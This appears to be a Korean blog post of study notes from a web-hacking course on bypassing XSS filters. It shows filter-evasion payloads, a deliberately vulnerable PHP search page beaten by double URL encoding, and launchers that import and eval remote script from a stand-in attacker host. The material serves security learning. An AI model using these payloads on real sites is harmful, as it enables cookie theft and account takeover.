1. 불충분한 XSS 필터링
(1) 자바스크립트 함수 및 키워드 필터링
자바스크립트는
Unicode escape sequence를 지원한다.
Unicode esacpe sequence은
"\uAC00" == "가"와 같이
문자열에서 유니코드 문자를
코드포인트로 나타낼 수 있는 표기법이다.
Figure 1. Unicode escape sequence를 통한 우회
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
다음으로 자바스크립트는
Computed member access를 지원한다.
객체의 특정 속성에 접근할 때
속성 이름을 동적으로 계산하는 기능이다.
document["coo"+"kie"] == document["cookie"] == document.cookie
Figure 2. Computed member access를 이용한 우회
alert(document["\u0063ook" + "ie"]); //
alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); //
alert(document.cookie)
XSS 공격에 흔히 사용되는
구문과 필터링 우회를 위해
사용될 수 있는 대체 예시
구문 | 예시 |
alert, XMLHttpRequest 등 | window['al'+'alert'], window['XMLHtt'+'pRequest'] |
window | self, this |
eval(code) | Function(code) () |
Function | isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접 |
극단적인 사례로
자바스크립트의 언어적 특성을 활용하면
6개의 문자 ([, ], (, ), !, +)만으로
모든 동작을 수행할 수 있다.
(1-1) 문자열 선언
만약 따옴표 (", ')가 필터링되어 있다면
템플릿 리터럴 (Template Literals)를 사용할 수 있다.
내장된 표현식을 허용하는
문자열 리터럴이며,
여러 줄로 이뤄진 문자열과 문자를
보관하기 위한 기능으로
이용할 수 있다.
백틱 (`)을 이용해 선언할 수 있으며
내장된 $() 표현식을 이용해
다른 변수나 식을 사용할 수 있다.
Figure 3. 템플릿 리터럴 사용 예시
var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."
따옴표와 백틱을 모두 사용하지 못할 때
1) RegExp 객체
/Hello World/ 형태로
RegExp 객체를 생성하고
객체의 패턴 부분을 가쟈옴으로써
문자열을 만들 수 있다.
Figure 4. RegExp 객체를 이용한 모습
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
2) String.fromCharCode 함수
유니코드의 범위 중
파라미터로 전달된 수에
해당 하는 문자를 반환
Figure 5. fromCharCode 함수를 사용한 모습
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
3) 기본 내장 함수나 객체의 문자를 사용하는 방법
Figure 6. 내장 함수 및 객체 문자를 이용한 모습
var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"
history.toString()은
"[object History]" 문자열을 반환하고,
URL.toString()은
"function URL() { [native code] }" 문자열을 반환한다.
또한,
history+[]; history+0; 처럼
함수나 객체와 +, - 와 같은
산술 연산을 수행하게 되면
연산을 위해 객체 내부적으로
toString 함수를 호출해
문자열로 변환한 후에
연산을 수행한다.
4) 숫자 객체의 진법 전환
10진수 숫자를
36진수로 변경하여
아스키 영어 소문자 범위를
모두 생성할 수 있다.
이 때 사용되는 연산자로
E4X 연산자 ("..")가 존재한다.
주로 점 두개를 쓰거나,
소수점으로 인식되지 않도록
공백과 점을 조합해 사용할 수 있다.
Figure 7. 진수 전환을 이용한 모습
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
(2) 함수 호출
일반적으로
자바스크립트의 함수를 호출하기 위해서는
소괄호 (parentheses, ()) 또는
Tagged Templates (백틱, `)을 사용해야 한다.
Figure 8. 함수 호출 예시
alert(1); // Parentheses
alert`1`; // Tagged Templates
소괄호와 백틱 문자가 필터링 되어있는 경우
1) javascript 스키마를 이용한 location 변경
Figure 9. javascript 스키마를 이용한 우회 예시
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
2) Symbol.hasInstance 오버라이딩
자바스크립트에서는 문자열 이외에도
ECMAScript 6에서 추가된 Symbol 또한
속성 명칭으로 사용할 수 있다.
Symbol.hasInstance well-known symbol을 이용하면
instanceof 연산자를 오버라이드 할 수 있다.
즉 0 instanceof C를 연산할 때
C에 Symbol.hasInstance 속성에 함수가 있을 경우
메소드로 호출하여 instanceof 연산자의
결과 값으로 사용하게 된다.
Figure 10. hasInstance를 이용한 우회 예시
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
3) document.body.innerHTML 추가
innerHTML로
HTML 코드를 실행할 때에는
보안 상 <script> 태그를 삽입해도
실행되지 않는다.
따라서 이벤트 핸들러를 이용해
자바스크립트 코드를 실행해야 한다.
Figure 11. innerHTML을 이용한 우회 예시
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
function XSSFilter(data){
if(/alert|window|document/.test(data)){
return false;
}
return true;
}
/* "alert", "window" 또는 "document" 문자열이 포함되어 있는지 확인하는 필터링입니다.
* 하지만 this[propertyKey] 문법을 이용해 쉽게 우회가 가능합니다.
*/
this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
function XSSFilter(data){
if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|[\-+\\<>{}=]/i.test(data)){
return false;
}
return true;
}
/* 주요 키워드 이외에도 특수문자 등을 탐지합니다.
* decodeURI, atob와 constructor 속성을 함께 사용하면 원하는 임의의 코드를 실행할 수 있습니다.
*/
// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
function XSSFilter(data){
if(/[()"'`]/img.test(data)){
return false;
}
return true;
}
/*
(, ), ", ', ` 문자들에 대해 탐지하는 필터링입니다.
앞서 배운 방법들을 조합하여 필터링을 우회할 수 있습니다.
*/
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
(2) 디코딩 전 필터링
입력 검증은
디코딩 등의 모든 전처리 작업을 마치고
수행해야 한다.
검증이 끝난 데이터를
디코딩해서 사용해서는 안 된다.
1) 더블 인코딩(Double Encoding)
예시,
1. 공격자가 더블 인코딩한
공격 코드 %253Cscript%252E(이하 생략)를 포함하여
게시글 업로드를 요청
2. 웹 방화벽이 해당 데이터를 디코딩 후 검증,
디코딩한 결과인 %3Cscript%3E(이하 생략)는
안전하다고 판단하여 차단하지 않고
애플리케이션에 전달
3. 애플리케이션이
해당 데이터를 또 디코딩해서
<script>(이하 생략)를
게시판 DB에 저장한다.
4. 희생자가 해당 게시글을 읽으면
XSS가 발생하여
악성 자바스크립트 코드가 실행
Figure 12. 검사가 미흡한 PHP 예시
<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
header("HTTP/1.1 403 Forbidden");
die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>
Figure 13. 공격에 실패한 모습
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
...
-----
HTTP/1.1 403 Forbidden
XSS attempt detected: <script>alert(document.cookie)</script>
Figure 14. 더블 URL 인코딩을 통해 공격에 성공한 모습
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>
(3) 길이 제한
삽입할 수 있는 코드의 길이가
제한되어 있는 경우,
다른 경로로
실행할 추가적인 코드 (payload)를
URL Fragment 등으로 삽입 후
삽입 지점에는 본 코드를 실행하는
짧은 코드 (launcher)를 사용할 수 있다.
Fragment로 스크립트를 넘겨준 후
XSS 지점에서 location.hash로
URL의 Fragment 부분을 추출하여
eval()로 실행하는 기법이 흔히 쓰인다.
그 외에도
쿠키에 페이로드를 저장하는 방식과
import와 같은 외부 자원을
스크립트로 로드하는 방법 또한
사용할 수 있다.
1) location.hash를 이용한 공격 방식
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
2) 외부 자원을 이용한 공격 방식
import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
2. 정리
- Unicode escape sequence: 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법
- Computed member access: 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능
- 템플릿 리터럴 (Template Literals): 내장된 표현식을 허용하는 문자열 리터럴이며, 여러 줄로 이뤄진 문자열과 문자 보간기능을 사용
'드림핵 - WHA(Client Side)' 카테고리의 다른 글
CORS Vulnerability (0) | 2023.04.17 |
---|---|
CSRF Token 오용 (0) | 2023.04.17 |
CSP Bypass (0) | 2023.04.13 |
Content Security Policy (0) | 2023.04.13 |
XSS Filtering Bypass - I (0) | 2023.03.27 |